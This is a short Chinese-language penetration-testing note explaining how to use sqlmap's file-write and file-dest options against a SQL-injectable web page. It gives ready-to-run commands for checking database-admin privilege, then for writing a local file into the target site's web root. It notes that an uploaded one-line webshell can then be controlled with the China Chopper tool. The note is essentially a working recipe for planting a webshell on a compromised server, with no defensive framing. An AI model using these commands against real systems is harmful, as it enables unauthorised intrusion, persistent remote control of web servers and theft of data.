SQLMAP渗透笔记之file参数的使用

---------------------------------------------------------------------------------------------


                SQLMAP渗透笔记之file参数的使用




---------------------------------------------------------------------------------------------


权限：必须为dba权限


file-write 从本地写入


file-dest 写入目标路径


判断是否是dba权限(显示TRUE或者FALSE，TRUE即为dba权限，反之不是)


sqlmap.py -u "http://www.xx.com/aa.aspx?id=123" --is-dba


写入文件至站点目录


sqlmap.py -u "http://www.xx.com/aa.aspx?id=123" --file-write=本地文件路径 --file-dest 网站路径(写入路径)+"/写入的文件名"


sqlmap.py -u "http://www.xx.com/aa.aspx?id=123" --file-write=F:/a.aspx --file-dest D:/虚拟目录/Front/cx.aspx




D:/虚拟目录/Front   为网站的物理路径




写入成功后，即可通过浏览器访问，若为一句话木马则可使用中国菜刀进行连接。


注：网站路径必须为网站的真实物理路径(即绝对路径。也就是从盘符开始的路径)，否则无法写入数据。